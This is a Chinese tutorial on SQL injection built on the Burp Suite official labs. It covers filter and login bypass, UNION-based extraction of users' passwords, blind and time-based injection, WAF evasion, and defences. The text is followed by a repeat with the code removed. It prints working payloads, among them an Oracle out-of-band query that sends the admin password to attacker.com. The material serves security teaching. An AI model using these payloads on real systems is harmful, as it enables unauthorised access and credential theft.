burpsuite官方靶场之sql注入篇
字数 1338 2025-08-10 17:51:54

Burp Suite官方靶场之SQL注入篇 - 全面教学指南

0. 前言

本教学文档基于Burp Suite官方SQL注入靶场,详细讲解各类SQL注入技术原理、攻击步骤和防御方法。内容涵盖从基础到高级的注入技术,包括显注、盲注、带外通道注入等。

1. 获取隐藏数据

1.1 技术原理

  • 通过修改应用程序的SQL查询条件,绕过原有过滤逻辑
  • 利用布尔逻辑(OR/AND)控制查询结果

1.2 攻击步骤

  1. 识别存在注入的参数(如category)
  2. 构造payload: ' OR 1=1--
  3. 分析SQL语句执行逻辑:
    SELECT * FROM products WHERE category='Gifts' OR 1=1--' AND released=1
    
    • OR 1=1使条件恒为真
    • --注释掉后续条件

1.3 关键点

  • OR与AND的区别:OR返回并集,AND返回交集
  • 注释符(--)的作用是终止后续查询条件
  • SQL执行顺序:FROM → WHERE → SELECT

2. 万能密码攻击

2.1 技术原理

  • 绕过登录验证的SQL查询
  • 通过注释符绕过密码检查

2.2 攻击步骤

  1. 在登录表单用户名字段注入: administrator'--
  2. 生成SQL:
    SELECT * FROM users WHERE username='administrator'--' AND password=''
    
    • 注释掉密码验证部分

3. UNION注入攻击

3.1 确定列数

方法一:ORDER BY

  • 逐步增加数字直到报错:
    ' ORDER BY 1--
    ' ORDER BY 2--
    ' ORDER BY 3-- 
    

方法二:UNION SELECT NULL

  • 逐步增加NULL数量:
    ' UNION SELECT NULL--
    ' UNION SELECT NULL,NULL--
    ' UNION SELECT NULL,NULL,NULL--
    

3.2 确定列类型

  • 用实际值替换NULL测试兼容性:
    ' UNION SELECT 'a',NULL--
    ' UNION SELECT NULL,'a'--
    

3.3 获取数据

  • 确定列数和类型后,直接查询目标数据:
    ' UNION SELECT username,password FROM users--
    

3.4 单列返回多值

  • 使用连接符串联多列数据:

    • Oracle/PostgreSQL: ||
    • MySQL: CONCAT()或空格连接
    • SQL Server: +

    示例:

    ' UNION SELECT NULL,username||'~'||password FROM users--
    

3.5 查询数据库信息

数据库版本

  • Oracle:
    ' UNION SELECT NULL,banner FROM v$version--
    
  • MySQL/MSSQL:
    ' UNION SELECT NULL,@@version--
    

数据库内容

  1. 非Oracle数据库:

    • 查询information_schema获取表信息
    ' UNION SELECT table_name,NULL FROM information_schema.tables--
    
    • 查询列信息
    ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
    
  2. Oracle数据库:

    • 使用all_tables和all_tab_columns
    ' UNION SELECT table_name,NULL FROM all_tables--
    ' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS'--
    

4. 盲注技术

4.1 基于条件的盲注

4.1.1 布尔盲注

  • 通过页面响应差异判断条件真假
  • 示例:
    ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
    

4.1.2 错误盲注

  • 通过触发错误判断条件(Oracle示例):
    ' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
    

4.2 时间盲注

  • 通过响应延迟判断条件:
    • PostgreSQL:
      ' || (SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='admin') || '
      
    • MySQL:
      ' AND IF(1=1,SLEEP(10),0)--
      

4.3 带外通道(OOB)注入

  • 通过DNS或HTTP请求外传数据
  • Oracle示例:
    ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='admin')||'.attacker.com/"> %remote;]>'),'/l') FROM dual--
    

5. 高级绕过技术

5.1 冗余错误注入

  • 利用类型转换错误泄露数据:
    ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS INT)--
    

5.2 XML编码绕过

  • 对注入payload进行编码处理绕过WAF
  • 使用工具如Hackvertor进行模糊处理

6. 防御建议

  1. 使用参数化查询(预编译语句)
  2. 实施最小权限原则
  3. 输入验证和过滤
  4. 使用Web应用防火墙(WAF)
  5. 错误信息处理(不显示详细错误)
  6. 定期安全测试和代码审计

7. 总结

本教程详细介绍了从基础到高级的SQL注入技术,包括:

  • 显注与盲注的区别和应用场景
  • UNION攻击的完整流程(列数确定、类型判断、数据获取)
  • 各类盲注技术(布尔、错误、时间、OOB)
  • 高级绕过技术(WAF绕过、编码混淆)

掌握这些技术有助于安全测试人员全面评估Web应用的SQL注入风险,同时也帮助开发人员理解如何构建更安全的应用程序。

Burp Suite官方靶场之SQL注入篇 - 全面教学指南 0. 前言 本教学文档基于Burp Suite官方SQL注入靶场,详细讲解各类SQL注入技术原理、攻击步骤和防御方法。内容涵盖从基础到高级的注入技术,包括显注、盲注、带外通道注入等。 1. 获取隐藏数据 1.1 技术原理 通过修改应用程序的SQL查询条件,绕过原有过滤逻辑 利用布尔逻辑(OR/AND)控制查询结果 1.2 攻击步骤 识别存在注入的参数(如category) 构造payload: ' OR 1=1-- 分析SQL语句执行逻辑: OR 1=1 使条件恒为真 -- 注释掉后续条件 1.3 关键点 OR与AND的区别:OR返回并集,AND返回交集 注释符(--)的作用是终止后续查询条件 SQL执行顺序:FROM → WHERE → SELECT 2. 万能密码攻击 2.1 技术原理 绕过登录验证的SQL查询 通过注释符绕过密码检查 2.2 攻击步骤 在登录表单用户名字段注入: administrator'-- 生成SQL: 注释掉密码验证部分 3. UNION注入攻击 3.1 确定列数 方法一:ORDER BY 逐步增加数字直到报错: 方法二:UNION SELECT NULL 逐步增加NULL数量: 3.2 确定列类型 用实际值替换NULL测试兼容性: 3.3 获取数据 确定列数和类型后,直接查询目标数据: 3.4 单列返回多值 使用连接符串联多列数据: Oracle/PostgreSQL: || MySQL: CONCAT() 或空格连接 SQL Server: + 示例: 3.5 查询数据库信息 数据库版本 Oracle: MySQL/MSSQL: 数据库内容 非Oracle数据库: 查询information_ schema获取表信息 查询列信息 Oracle数据库: 使用all_ tables和all_ tab_ columns 4. 盲注技术 4.1 基于条件的盲注 4.1.1 布尔盲注 通过页面响应差异判断条件真假 示例: 4.1.2 错误盲注 通过触发错误判断条件(Oracle示例): 4.2 时间盲注 通过响应延迟判断条件: PostgreSQL: MySQL: 4.3 带外通道(OOB)注入 通过DNS或HTTP请求外传数据 Oracle示例: 5. 高级绕过技术 5.1 冗余错误注入 利用类型转换错误泄露数据: 5.2 XML编码绕过 对注入payload进行编码处理绕过WAF 使用工具如Hackvertor进行模糊处理 6. 防御建议 使用参数化查询(预编译语句) 实施最小权限原则 输入验证和过滤 使用Web应用防火墙(WAF) 错误信息处理(不显示详细错误) 定期安全测试和代码审计 7. 总结 本教程详细介绍了从基础到高级的SQL注入技术,包括: 显注与盲注的区别和应用场景 UNION攻击的完整流程(列数确定、类型判断、数据获取) 各类盲注技术(布尔、错误、时间、OOB) 高级绕过技术(WAF绕过、编码混淆) 掌握这些技术有助于安全测试人员全面评估Web应用的SQL注入风险,同时也帮助开发人员理解如何构建更安全的应用程序。